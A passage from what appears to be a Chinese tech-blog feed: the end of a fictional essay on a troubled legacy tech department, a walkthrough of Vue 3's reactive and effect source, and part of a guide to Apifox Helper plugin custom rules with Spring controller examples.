并且,在这个过程中,业务还是不断积累和发展的。这也堆积了形形色色的病态业务系统。而这些系统,只有老员工能掌握,里面的机关埋伏,根本没有文档,全在他们的脑子里。想改什么东西,复杂不复杂,里面到底怎么个逻辑,老技术说啥就是啥。你想维持生命,又不能让老员工过于动荡,否则会导致业务断层。

倒是也会新来一些空降的技术领导。所有的空降领导,都能发现问题所在。问题大家都知道,实习生都看得出来。 比如缺乏技术领导力,团队没有激励机制,缺乏考核流程,技术债积累严重,技术体系稳定性缺失,业务混乱,人员消极等等。

但新领导也只能做一些表面上的改善。比如,基层管理说员工都不听他的,多次强调要交周报,底下员工就是不交,导致自己不知道他们每周都在干什么。空降领导说,周报写不好,扣工资,看他们交不交。稳定性缺失?把稳定性纳入考核,谁写的代码不稳定,扣工资。说一直忙还不加班?压缩工期,原定10天的任务,让6天干完,这不就忙起来了。 对于系统BUG多,领导说好解决,发现bug,按照数量扣工资,肯定就没有bug了。

实际上这是一种从末端治理的方案,是对洪水的围堵而非疏通。软件系统的配合是复杂的,更需要从源头开始治理。 发现bug扣程序员的工资,属于问题倒推的行为。Bug需要界定是哪方产生的,是单纯代码逻辑问题,还是产品规则问题,还是用户操作方式问题,或者是偶然问题。领导说:那就扣所有参与成员的工资,这样大家都会紧绷一根弦,谁都会为了没有bug而努力。

另外,功能还有复杂和简单之分。一个简单的版本,比如修改个提示语,可能产生不了bug。但是,如果是一项复杂的业务,比如写一个机器人对战,可能会有很多bug。还有,考核是不是应该和职级和工资挂钩?月薪2万的人和月薪5000的,干同一项任务,是不是应该有不同的要求。领导说:有意见?有意见可以去没意见的地方工作。

这又是一个新的轮回,让过于散漫的老技术部,又开始变得剑拔弩张起来。他们将面临新的技术架构,考核体系,工作方式。至于这一轮能给公司带来什么,或许只有时间才能给出答案。

而这个老技术部门的困境,到底能不能走出来,又该如何走出来?

本文纯属以问题点而虚构的故事演义,旨在启发和思考行业的共性。

by TF男孩 at January 30, 2025 01:50 PM

juejin frontend

你真的了解Vue的响应式原理吗?

背景

vue3最新版本目前已更新至3.5了,很多同学经过这几年的使用,相信对vue3的常用api都已经烂熟于心了。

image.png

但每每被问到源码时,还是虽表面强装镇定,实则内心慌的一批。。。就比如我们经常使用的reactive,很多同学最后就只会憋出一句:reactive的原理是proxy,然后……,就没有然后了。

image.png

今天我就带着大家将reactive方法一撸到底。

总览

话不多说,直接上图,接下来将带着大家跟着这张图结合源码搞懂reactive的核心源码。

image.png

reactive

上面这张图分为上中下三部分,我们一部分一部分进行拆解,首先是最上面部分,这其实就是reactive函数的核心代码

image.png 假如我们有一个如下的example.js文件:

<script setup>
import { reactive,effect } from 'vue'
const obj = reactive({
   name: '法外狂徒张三'
})
effect(() => {
    document.getElementById('app').innerText = obj.name
})
</script>

当我们写下这段代码的时候,实际上是调用了vue中的reactive函数。我们可以在vue源码的packages\reactivity\src\reactive.ts中找到reactive函的实现:

image.png 可以看到reactive函数的实现非常简单,就仅仅返回了一个createReactiveObject方法执行后的结果。

微信图片_20250129114704.png 我们看到,createReactiveObject函数最终是会执行new Proxy生成一个proxy实例,如果不了解Proxy的同学可以自行去MDN中学习,然后将这个proxy代理对象和target以键值对的方式建立联系,后续当同一个target对象再次执行reactive函数时,直接从proxyMap中获取,最终返回这个proxy代理对象。

所以,整个reactive函数确实只完成了一件事,那就是生成并返回proxy代理对象,这也是大多数同学探索vue实现响应式原理的终止点。

baseHandlers

reactive函数生成的对象之所以能够实现响应式,是因为Proxy劫持了target对象的读取和写入操作,即Proxy的第二个参数:baseHandlers。 接下来,进入中间部分:

image.png 我们看看vue源码对baseHandlers的实现,进入packages\reactivity\src\baseHandlers.ts中我们可以看到以下代码(不重要的代码都被我删除了):

image.pngcreateReactiveObject函数的参数,我们可以知道,Proxy构造函数中的第二个参数其实是MutableReactiveHandler实例,而MutableReactiveHandler继承了BaseReactiveHandler,因此该实例对象中会包含着一个getset函数,这也是vue完成响应式原理的核心部分。

get函数中,除了返回一个Reflect.get的结果,还调用了一个track函数,track函数的实现在packages\reactivity\src\dep.ts中:

image.png

track函数的作用是收集依赖。它最终会构造一个类型为WeakMaptargetMap,其键是我们传入的那个target对象,值是一个Map类型的depsMapdepsMap中存放的才是target对象keydep的对应关系。而dep中存放的就是收集到的依赖。这么说起来有点绕,直接上图:

image.png

而在set中的trigger函数执行时,所有存储在dep中的依赖都会被挨个调用。

effect

我们可以看到,dep中的依赖是一个个的ReactiveEffect实例,而这个实例又是从何而来呢?这就要靠我们的effect函数了。

image.png effect函数需要传递一个函数作为参数,这个函数被称之为副作用函数

effect函数中,会调用一个ReactiveEffect构造函数生成ReactiveEffect实例,这个实例会作为依赖被收集。实例中有一个run方法,并且在run方法执行时会调用effect函数传入的参数,即,副作用函数。

总结

最后总结一下reactive函数的执行流程:首先,当我们调用reactive函数并传入一个target对象时,reactive内部会调用createReactiveObject函数生成并返回一个proxy代理对象。这个proxy代理对象中get方法会收集并以键值对的方式存储依赖,当改变对象的某个属性时,触发proxy的set函数,set函数中的trigger函数会从之前存储的对象中循环调用所有依赖。

by 啥也不会的码农 at January 30, 2025 01:44 PM

juejin backend

Apifox IDEA 插件使用指南 - 从入门到精通(4)

引言

Apifox Helper:解锁自定义规则的无限可能

除了内置的丰富规则,Apifox Helper 还为您提供了强大的自定义规则功能,让您能够根据实际需求灵活编写规则,轻松应对各种特殊场景。无论您是处理复杂的数据转换,还是优化特定的工作流程,自定义规则都能为您提供精准的解决方案。

在本章中,我们将带您深入探索 Apifox Helper 自定义规则的编写方法,并分享一些预设的自定义规则示例,助您快速上手并熟练掌握这一强大功能。通过 Apifox 提供的实际案例,您将逐步学会如何编写高效、实用的自定义规则。

Github 代码地址
👉 github.com/apifox/apif…

此外,基于对官方文档的深入理解以及实际应用中的经验总结,我将为您系统梳理和分类各种规则,并结合具体场景举例说明,帮助您更清晰地理解每条规则的核心价值与应用方法。

1. 方法(Method)相关规则

1.1 API 配置:api.name 规则详解

功能描述
api.name 用于设置 API 接口的名称。默认情况下,系统会提取 API 注释的第一行作为接口名称。通过自定义规则,您可以从特定标签(如 @api.name 或自定义注解)中读取接口名称,从而更灵活地定义 API 的命名。


配置方法

在配置文件中,您可以通过以下方式定义 api.name 规则:

# 从 `@api.name` 标签中读取 API 名称
api.name=#api.name

# 从自定义注解 `@com.example.springtest.anno.ApiName` 中读取 API 名称
api.name=@com.example.springtest.anno.ApiName

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 @api.name 标签和自定义注解 @ApiName 定义 API 名称:

package com.example.springtest.controller;

import com.example.springtest.anno.ApiName;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping(value = "/apiNameClass")
public class ApiNameController {

    /**
     * @api.name APINAME_TEST
     * @return
     */
    @GetMapping("/apiNameClassDoc")
    public String apiNameClassDoc() {
        return "apiNameClass";
    }

    @ApiName("apiNameClassAnno")
    @GetMapping("/apiNameClassAnno")
    public String apiNameClassAnno() {
        return "apiNameClass";
    }
}

示例解析
  1. 通过 @api.name 标签定义名称

    • apiNameClassDoc 方法的注释中,使用 @api.name APINAME_TEST 明确指定了该 API 的名称为 "APINAME_TEST"
    • 系统会根据配置的 api.name=#api.name 规则,从注释中提取名称。
  2. 通过自定义注解 @ApiName 定义名称

    • apiNameClassAnno 方法中,使用 @ApiName("apiNameClassAnno") 注解指定了该 API 的名称为 "apiNameClassAnno"
    • 系统会根据配置的 api.name=@com.example.springtest.anno.ApiName 规则,从注解中提取名称。
  3. 默认行为

    • 如果没有配置 api.name 规则,系统会默认使用注释的第一行作为 API 名称。

适用场景
  • 当 API 注释的第一行不适合作为接口名称时,可以通过 @api.name 或自定义注解灵活定义名称。
  • 在团队协作中,统一 API 命名规范,提升代码可读性和维护性。
  • 支持从多种来源(注释标签、自定义注解)提取名称,满足不同项目的需求。
导出结果

在这里插入图片描述

1.2 API 配置:api.tags 规则详解

功能描述
api.tags 用于设置 Apifox 的请求标签。默认情况下,系统会使用逗号(,)分割多个标签。通过自定义规则,您可以从特定标签(如 @tags 或自定义注解)中读取标签信息,从而更灵活地管理 API 的分类和组织。


配置方法

在配置文件中,您可以通过以下方式定义 api.tags 规则:

# 从 `@tags` 标签中读取请求标签
api.tags=#tags

# 从自定义注解 `@com.example.springtest.anno.ApiTag` 中读取请求标签
api.tags=@com.example.springtest.anno.ApiTag

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 @tags 标签和自定义注解 @ApiTag 定义请求标签:

package com.example.springtest.controller;

import com.example.springtest.anno.ApiTag;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/apiTagsController")
public class ApiTagsController {

    /**
     * @tags tag1,tag2
     * @return
     */
    @GetMapping({"/apiTagsControllerDocTag1", "/apiTagsControllerDocTag2"})
    public String apiTagsControllerDoc() {
        return "apiNameClass";
    }

    @ApiTag("tag3,tag4")
    @GetMapping("/apiTagsControllerAnno")
    public String apiTagsControllerAnno() {
        return "apiNameClass";
    }
}

示例解析

  1. 通过 @tags 标签定义标签

    • apiTagsControllerDoc 方法的注释中,使用 @tags tag1,tag2 明确指定了该 API 的标签为 "tag1""tag2"
    • 系统会根据配置的 api.tags=#tags 规则,从注释中提取标签。
  2. 通过自定义注解 @ApiTag 定义标签

    • apiTagsControllerAnno 方法中,使用 @ApiTag("tag3,tag4") 注解指定了该 API 的标签为 "tag3""tag4"
    • 系统会根据配置的 api.tags=@com.example.springtest.anno.ApiTag 规则,从注解中提取标签。
  3. 默认行为

    • 如果没有配置 api.tags 规则,系统会默认使用逗号(,)分割标签。

适用场景

  • 当需要为 API 添加分类或组织标签时,可以通过 @tags 或自定义注解灵活定义。
  • 在团队协作中,统一标签规范,提升 API 的可管理性和可搜索性。
  • 支持从多种来源(注释标签、自定义注解)提取标签,满足不同项目的需求。
导出结果

在这里插入图片描述

在这里插入图片描述

1.3 API 配置:api.status 规则详解

功能描述
api.status 用于设置 API 的请求状态。默认状态下,系统支持以下状态:

  • designing(设计中)
  • pending(待处理)
  • developing(开发中)
  • integrating(集成中)
  • testing(测试中)
  • tested(已测试)
  • released(已发布)
  • deprecated(已弃用)
  • exception(异常)
  • obsolete(已过时)

通过自定义规则,您可以从特定标签(如 @obsolete@designing)或自定义注解(如 @Testing)中读取状态信息,从而更灵活地管理 API 的生命周期。


配置方法

在配置文件中,您可以通过以下方式定义 api.status 规则:

# 将自定义注解 `@com.example.springtest.anno.Testing` 映射为状态 `testing`
# apifox 注释已经内置了
api.status[@com.example.springtest.anno.Testing]=testing

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用内置标签和自定义注解定义 API 状态:

package com.example.springtest.controller;

import com.example.springtest.anno.Testing;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/apiStatusController")
public class ApiStatusController {

    /**
     * @obsolete
     */
    @GetMapping("/obsoleteClassDoc")
    public String obsoleteClassDoc() {
        return "obsolete";
    }

    /**
     * @designing
     */
    @GetMapping("/designingClassDoc")
    public String designingClassDoc() {
        return "designing";
    }

    @GetMapping("/testingClassDoc")
    @Testing
    public String testingClassDoc() {
        return "testing";
    }
}

示例解析

  1. 通过内置标签定义状态

    • obsoleteClassDoc 方法的注释中,使用 @obsolete 标签明确指定了该 API 的状态为 "obsolete"(已过时)
    • designingClassDoc 方法的注释中,使用 @designing 标签明确指定了该 API 的状态为 "designing"(设计中)
  2. 通过自定义注解定义状态

    • testingClassDoc 方法中,使用 @Testing 注解指定了该 API 的状态为 "testing"(测试中)
    • 系统会根据配置的 api.status[@com.example.springtest.anno.Testing]=testing 规则,将注解映射为状态。
  3. 默认行为

    • ==系统内置了常见状态标签,无需额外配置即可直接使用。==

适用场景

  • 当需要为 API 标记生命周期状态时,可以通过内置标签或自定义注解灵活定义。
  • 在团队协作中,统一状态管理规范,提升 API 的可维护性和可追踪性。
  • 支持从多种来源(内置标签、自定义注解)提取状态,满足不同项目的需求。
导出结果

在这里插入图片描述

在这里插入图片描述

1.4 API 配置:method.description 规则详解

功能描述
method.description 用于设置 API 接口的详细说明,作为方法(API)的额外注释。通过自定义规则,您可以从特定标签(如 @desc)或自定义注解(如 @Desc)中读取描述信息,从而为 API 提供更丰富的文档支持。


配置方法

在配置文件中,您可以通过以下方式定义 method.description 规则:

# 从 `@desc` 标签中读取接口描述
method.description=#desc

# 从自定义注解 `@com.example.springtest.anno.Desc` 中读取接口描述
method.description=@com.example.springtest.anno.Desc

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 @desc 标签和自定义注解 @Desc 定义 API 接口说明:

package com.example.springtest.controller;

import com.example.springtest.anno.Desc;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/methodDescController")
public class MethodDescController {

    /**
     * 名字1
     * @desc doc描述
     */
    @GetMapping("/methodDescClassDoc")
    public String methodDescClassDoc() {
        return "methodDescClassDoc";
    }

    /**
     * 名字2
     * @return
     */
    @GetMapping("/methodDescClassAnno")
    @Desc("注解描述")
    public String methodDescClassAnno() {
        return "methodDescClassAnno";
    }
}

示例解析
  1. 通过 @desc 标签定义接口描述

    • methodDescClassDoc 方法的注释中,使用 @desc doc描述 明确指定了该 API 的接口描述为 "doc描述"
    • 系统会根据配置的 method.description=#desc 规则,从注释中提取描述。
  2. 通过自定义注解 @Desc 定义接口描述

    • methodDescClassAnno 方法中,使用 @Desc("注解描述") 注解指定了该 API 的接口描述为 "注解描述"
    • 系统会根据配置的 method.description=@com.example.springtest.anno.Desc 规则,从注解中提取描述。
  3. 默认行为

    • 如果没有配置 method.description 规则,系统会默认使用注释的第一行作为接口描述。

适用场景
  • 当需要为 API 提供详细的接口说明时,可以通过 @desc 或自定义注解灵活定义。
  • 在团队协作中,统一接口描述规范,提升代码的可读性和文档质量。
  • 支持从多种来源(注释标签、自定义注解)提取描述,满足不同项目的需求。
导出结果

在这里插入图片描述

1.5 API 配置:method.defaultContentType 规则详解

功能描述
method.defaultContentType 用于设置 API 请求的默认 Content-Type。插件会在必要时强制覆盖该值,例如当遇到 @RequestBody 注解时,Content-Type 会被强制设置为 application/json

通过自定义规则,您可以从特定标签(如 @methodType)中读取 Content-Type 信息,从而更灵活地定义 API 的请求格式。


配置方法

在配置文件中,您可以通过以下方式定义 method.defaultContentType 规则:

# 从 `@methodType` 标签中读取默认 Content-Type
method.defaultContentType[#methodType]=#methodType

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 @methodType 标签定义 API 请求的默认 Content-Type

package com.example.springtest.controller;

import com.example.springtest.anno.ParamType;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping(value = "/methodDefaultContentTypeController")
public class MethodDefaultContentTypeController {

    /**
     * @methodType multipart/form-data
     * Get请求默认是query,规则无法生效
     */
    @GetMapping("/formDataClassDocGet")
    public String formDataClassDocGet(@ParamType("form") User data) {
        return "originalClass";
    }

    /**
     * @methodType multipart/form-data
     * @desc 规则之间需要搭配使用,@methodType@ParamType 需要搭配使用才行
     */
    @PostMapping("/formDataClassDocPost")
    public String formDataClassDocPost(@ParamType("form") User data) {
        return "originalClass";
    }

    /**
     * @methodType application/json
     * @desc 规则之间需要搭配使用,@methodType@ParamType 需要搭配使用才行
     */
    @PostMapping("/formDataClassDocPostJson")
    public String formDataClassDocPostJson(@ParamType("body") User data) {
        return "originalClass";
    }
}

示例解析
  1. 通过 @methodType 标签定义默认 Content-Type

    • formDataClassDocPost 方法的注释中,使用 @methodType multipart/form-data 明确指定了该 API 的默认 Content-Type"multipart/form-data"
    • formDataClassDocPostJson 方法的注释中,使用 @methodType application/json 明确指定了该 API 的默认 Content-Type"application/json"
  2. 规则搭配使用

    • @methodType 需要与 @ParamType 搭配使用,以确保请求参数的格式与 Content-Type 一致。
    • 例如,@ParamType("form") 表示参数以表单形式传递,而 @ParamType("body") 表示参数以 JSON 形式传递。
  3. 默认行为

    • 对于 GET 请求,默认的 Content-Typequery,此时 @methodType 规则不会生效。
    • 当遇到 @RequestBody 注解时,Content-Type 会被强制覆盖为 application/json

适用场景
  • 当需要为 API 设置特定的 Content-Type 时,可以通过 @methodType 标签灵活定义。
  • 在团队协作中,统一请求格式规范,提升 API 的可维护性和一致性。
  • 支持与其他规则(如 @ParamType)搭配使用,确保请求参数与 Content-Type 匹配。
导出结果

在这里插入图片描述

在这里插入图片描述

1.6 API 配置:method.request.replace 规则详解

功能描述
method.request.replace 用于设置传入参数的命名方式转换规则,支持以下命名格式:

  • camelCase(小驼峰)
  • pascalCase(大驼峰)
  • snakeCase(下划线)
  • flatcase(全小写)
  • uppercase(全大写)
  • macroCase(全大写下划线)
  • titleCase(大驼峰下划线)

此规则的优先级低于全局配置。如果希望使用此规则,请确保全局配置中的参数命名方式设置为“保持原样”。


配置方法

在配置文件中,您可以通过以下方式定义 method.request.replace 规则:

# 从 `@requestCase` 标签中读取命名方式
method.request.replace[#requestCase]=#requestCase

# 从自定义注解 `@com.example.springtest.anno.RequestCase` 中读取命名方式
method.request.replace[@com.example.springtest.anno.RequestCase]=@com.example.springtest.anno.RequestCase#value

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 @requestCase 标签和自定义注解 @RequestCase 定义参数命名方式:

package com.example.springtest.controller;

import com.example.springtest.anno.RequestCase;
import com.example.springtest.entity.Case;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/methodRequestReplace")
public class MethodRequestController {

    /**
     * @requestCase snakeCase
     * @return
     */
    @GetMapping("/snakeCaseClassDoc")
    public String snakeCaseClassDoc(Case user) {
        return "snakeCase";
    }

    @RequestCase("snakeCase")
    @GetMapping("/snakeCaseClassAnno")
    public String snakeCaseClassAnno(Case user) {
        return "snakeCase";
    }

    @GetMapping("/noChangeCaseClassAnno")
    public String noChangeCaseClassAnno(Case user) {
        return "noChangeCaseClassAnno";
    }
}

示例解析
  1. 通过 @requestCase 标签定义命名方式

    • snakeCaseClassDoc 方法的注释中,使用 @requestCase snakeCase 明确指定了参数命名方式为 "snakeCase"(下划线格式)
    • 系统会根据配置的 method.request.replace[#requestCase]=#requestCase 规则,从注释中提取命名方式。
  2. 通过自定义注解 @RequestCase 定义命名方式

    • snakeCaseClassAnno 方法中,使用 @RequestCase("snakeCase") 注解指定了参数命名方式为 "snakeCase"(下划线格式)
    • 系统会根据配置的 method.request.replace[@com.example.springtest.anno.RequestCase]=@com.example.springtest.anno.RequestCase#value 规则,从注解中提取命名方式。
  3. 默认行为

    • 如果没有配置 method.request.replace 规则,系统会保持参数命名方式不变(即“保持原样”)。

适用场景
  • 当需要统一参数命名格式时,可以通过 @requestCase 或自定义注解灵活定义。
  • 在团队协作中,统一命名规范,提升代码的可读性和一致性。
  • 支持从多种来源(注释标签、自定义注解)提取命名方式,满足不同项目的需求。
导出结果

在这里插入图片描述

在这里插入图片描述

1.7 API 配置:method.response.replace 规则详解

1.7 与 1.6 使用方式一致,在这里不重复赘述

1.8 API 配置:method.additional.header 规则详解

功能描述
method.additional.header 用于为 API 接口添加额外的请求头信息。例如,所有接口可能需要在请求头中携带 JWT Token。通过自定义规则,您可以为特定接口或全局接口配置请求头,并支持排除某些开放的接口(如公开接口)。


配置方法

在配置文件中,您可以通过以下方式定义 method.additional.header 规则:

  1. 全局配置
    为所有接口添加请求头:

    method.additional.header={name: "AllAuthorizationYourSelf", value: "result", description: "my Token", required: true}
    
  2. 通过注释标签配置
    为带有 @header 标签的接口添加请求头:

    method.additional.header[#header]={name: "DocAuthorizationYourSelf", value: "docresult", description: "my Token Doc", required: true}
    
  3. 通过自定义注解配置
    为带有 @com.example.springtest.anno.Header 注解的接口添加请求头:

    method.additional.header[@com.example.springtest.anno.Header]={name: "AnnoAuthorizationYourSelf", value: "Annoresult", description: "my Token Anno", required: true}
    
  4. 排除公开接口
    为所有非公开接口添加请求头:

    method.additional.header[!@com.apifox.common.annotation.Public]={name: "Authorization", value: "", description: "认证 Token", required: true}
    

    等价于:

    method.additional.header[groovy:!it.hasAnn("com.apifox.common.annotation.Public")]={name: "Authorization", value: "", description: "认证 Token", required: true}
    

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用注释标签和自定义注解定义额外请求头:

package com.example.springtest.controller;

import com.example.springtest.anno.Header;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/methodHeaderController")
public class MethodHeaderController {

    @GetMapping("/methodHeader")
    public String methodHeader() {
        return null;
    }

    /**
     * @header
     * @return
     */
    @GetMapping("/methodHeaderDoc")
    public String methodHeaderDoc() {
        return null;
    }

    @Header
    @GetMapping("/methodHeaderAnno")
    public String methodHeaderAnno() {
        return null;
    }
}

示例解析
  1. 全局请求头

    • 所有接口(如 methodHeader)都会自动添加请求头:

      {
        "name": "AllAuthorizationYourSelf",
        "value": "result",
        "description": "my Token",
        "required": true
      }
      
  2. 通过注释标签添加请求头

    • methodHeaderDoc 方法的注释中,使用 @header 标签为该接口添加请求头:

      {
        "name": "DocAuthorizationYourSelf",
        "value": "docresult",
        "description": "my Token Doc",
        "required": true
      }
      
  3. 通过自定义注解添加请求头

    • methodHeaderAnno 方法中,使用 @Header 注解为该接口添加请求头:

      {
        "name": "AnnoAuthorizationYourSelf",
        "value": "Annoresult",
        "description": "my Token Anno",
        "required": true
      }
      
  4. 排除公开接口

    • 如果接口标记为 @Public,则不会添加请求头;否则,会添加以下请求头:

      {
        "name": "Authorization",
        "value": "",
        "description": "认证 Token",
        "required": true
      }
      

适用场景
  • 当需要为所有接口或特定接口添加固定请求头(如 JWT Token)时,可以通过全局配置、注释标签或自定义注解实现。
  • 在团队协作中,统一请求头规范,提升 API 的安全性和一致性。
  • 支持排除公开接口,确保某些接口无需携带额外请求头。
导出结果

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

1.9 API 配置:method.additional.param 规则详解

1.9 与 1.8 使用方式一致,在这里不重复赘述

1.10 API 配置:method.return 规则详解

功能描述
method.return 用于设置方法的返回值类型,特别是当方法的实际返回类型与声明的返回类型不一致时。例如:

  • 方法返回 void,但实际通过 HttpServletResponse 返回 JSON 数据。
  • 方法返回类型中的泛型未明确(如 <Object><?><*>)。
  • 方法返回类型与实际响应无关,需要通过额外配置明确实际响应类型。

通过 method.return 规则,可以从注释标签(如 @response)或自定义注解中提取实际返回类型,确保 API 文档与实际行为一致。


配置方法

在配置文件中,您可以通过以下方式定义 method.return 规则:

  1. 从注释标签中提取返回值类型

    method.return=#response
    
  2. 从自定义注解中提取返回值类型

    method.return[@com.example.springtest.anno.Response]=@com.example.springtest.anno.Response#value
    
  3. 使用 Groovy 脚本解析 {@link} 标签

    method.return[#responseLink]=groovy: helper.resolveLink(it.doc("responseLink"))
    
  4. 简化配置:直接解析 @response 标签中的 {@link}

    method.return[#response]=groovy: helper.resolveLink(it.doc("response"))
    

使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 method.return 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.Response;
import com.example.springtest.entity.R;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/methodReturnController")
public class MethodReturnController {

    @GetMapping("/methodReturnNoChange")
    public User methodReturnNoChange() {
        return null;
    }

    @GetMapping("/methodReturnNoChangeR")
    public R<User> methodReturnNoChangeR() {
        return null;
    }

    /**
     * @response com.example.springtest.entity.R<com.example.springtest.entity.User>
     */
    @GetMapping("/methodReturnChangeDoc")
    public User methodReturnChangeDoc() {
        return null;
    }

    @Response("com.example.springtest.entity.R<com.example.springtest.entity.User>")
    @GetMapping("/methodReturnChangeAnno")
    public User methodReturnChangeAnno() {
        return null;
    }

    /**
     * @responseLink {@link R<User>}
     */
    @GetMapping("/methodReturnChangeDocLink")
    public User methodReturnChangeDocLink() {
        return null;
    }
}

示例解析
  1. 默认行为

    • methodReturnNoChange 方法的返回类型为 User,系统会直接使用 User 作为返回值类型。
    • methodReturnNoChangeR 方法的返回类型为 R<User>,系统会直接使用 R<User> 作为返回值类型。
  2. 通过注释标签定义返回值类型

    • methodReturnChangeDoc 方法的注释中,使用 @response 标签明确指定了返回值类型为 R<User>
    • 系统会根据配置的 method.return=#response 规则,从注释中提取返回值类型。
  3. 通过自定义注解定义返回值类型

    • methodReturnChangeAnno 方法中,使用 @Response 注解指定了返回值类型为 R<User>
    • 系统会根据配置的 method.return[@com.example.springtest.anno.Response]=@com.example.springtest.anno.Response#value 规则,从注解中提取返回值类型。
  4. 使用 {@link} 标签定义返回值类型

    • methodReturnChangeDocLink 方法的注释中,使用 @responseLink {@link R<User>} 标签指定了返回值类型。
    • 系统会根据配置的 method.return[#responseLink]=groovy: helper.resolveLink(it.doc("responseLink")) 规则,解析 {@link} 标签并提取返回值类型。

适用场景
  • 实际返回类型与声明类型不一致:例如通过 HttpServletResponse 返回 JSON 数据,但方法声明为 void
  • 泛型类型未明确:例如返回类型为 <Object><?><*>,需要通过额外配置明确具体类型。
  • 统一返回值类型规范:在团队协作中,确保 API 文档与实际行为一致,提升代码可读性和维护性。
  • 支持多来源配置:从注释标签、自定义注解或 {@link} 标签中提取返回值类型,满足不同项目的需求。
导出结果

在这里插入图片描述

1.11 API 配置:method.return.body.type 规则详解

功能描述
method.return.body.type 用于控制 API 返回值的响应类型,支持以下格式:

  • raw:原始文本格式
  • json:JSON 格式(默认)
  • xml:XML 格式
  • html:HTML 格式
  • binary:二进制格式
  • msgpack:MessagePack 格式
  • eventStream:事件流格式

通过该规则,您可以从注释标签(如 @returnType)或自定义注解中提取返回值类型,确保 API 响应的内容类型与实际行为一致。


配置方法

在配置文件中,您可以通过以下方式定义 method.return.body.type 规则:

  1. 从注释标签中提取返回值类型

    method.return.body.type[#returnXml]=xml
    
  2. 从自定义注解中提取返回值类型

    method.return.body.type[@com.example.springtest.anno.ReturnType]=@com.example.springtest.anno.ReturnType#value
    
  3. 默认行为
    如果未配置 method.return.body.type 规则,系统会默认返回 JSON 格式。


使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 method.return.body.type 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.ReturnType;
import com.example.springtest.entity.User;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping(value = "/methodReturnBodyController")
public class MethodReturnBodyController {

    @GetMapping("/methodReturnNoChange")
    public User methodReturnNoChange() {
        return null;
    }

    @GetMapping("/methodReturnNoChangeBody")
    @ResponseBody
    public User methodReturnNoChangeBody() {
        return null;
    }

    /**
     * @returnType application/xml
     */
    @GetMapping("/methodReturnDoc")
    public User methodReturnDoc() {
        return null;
    }

    @ReturnType("text/event-stream")
    @GetMapping("/methodReturnAnno")
    public User methodReturnAnno() {
        return null;
    }

    @GetMapping(value = "/methodReturnXml", produces = MediaType.APPLICATION_XML_VALUE)
    public User methodReturnXml() {
        return null;
    }

    @GetMapping(value = "/methodReturnStream", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
    public User methodReturnStream() {
        return null;
    }

    @ReturnType("application/octet-stream")
    @GetMapping("/methodReturnAnnoBinary")
    public User methodReturnAnnoBinary() {
        return null;
    }

    @ReturnType("text/plain")
    @GetMapping("/methodReturnAnnoRow")
    public Void methodReturnAnnoRow() {
        return null;
    }
}

示例解析
  1. 默认行为

    • methodReturnNoChangemethodReturnNoChangeBody 方法未指定返回值类型,系统会默认返回 JSON 格式。
  2. 通过注释标签定义返回值类型

    • methodReturnDoc 方法的注释中,使用 @returnType application/xml 标签明确指定了返回值类型为 XML 格式。
    • 系统会根据配置的 method.return.body.type[#returnXml]=xml 规则,从注释中提取返回值类型。
  3. 通过自定义注解定义返回值类型

    • methodReturnAnno 方法中,使用 @ReturnType("text/event-stream") 注解指定了返回值类型为事件流格式。
    • 系统会根据配置的 method.return.body.type[@com.example.springtest.anno.ReturnType]=@com.example.springtest.anno.ReturnType#value 规则,从注解中提取返回值类型。
  4. 通过 produces 属性定义返回值类型

    • methodReturnXml 方法中,使用 produces = MediaType.APPLICATION_XML_VALUE 指定了返回值类型为 XML 格式。
    • methodReturnStream 方法中,使用 produces = MediaType.TEXT_EVENT_STREAM_VALUE 指定了返回值类型为事件流格式。
  5. 其他返回值类型

    • methodReturnAnnoBinary 方法通过 @ReturnType("application/octet-stream") 指定了返回值类型为二进制格式。
    • methodReturnAnnoRow 方法通过 @ReturnType("text/plain") 指定了返回值类型为原始文本格式。

适用场景
  • 统一返回值格式:在团队协作中,确保 API 响应的内容类型一致,提升代码可读性和维护性。
  • 支持多种返回值类型:根据业务需求,灵活配置 JSON、XML、HTML、二进制等格式。
  • 与实际行为一致:当方法的返回值类型与实际响应类型不一致时,通过额外配置明确响应类型。
导出结果

在这里插入图片描述

1.12 API 配置:path.multi 规则详解

功能描述
path.multi 用于处理 API 有多个可用路径时的策略选择。支持的策略包括(不区分大小写):

  • FIRST:选择第一个可用路径。
  • LAST:选择最后一个可用路径。
  • LONGEST:选择最长的可用路径。
  • SHORTEST:选择最短的可用路径。
  • ALL:为每一个可用路径生成一个 API。

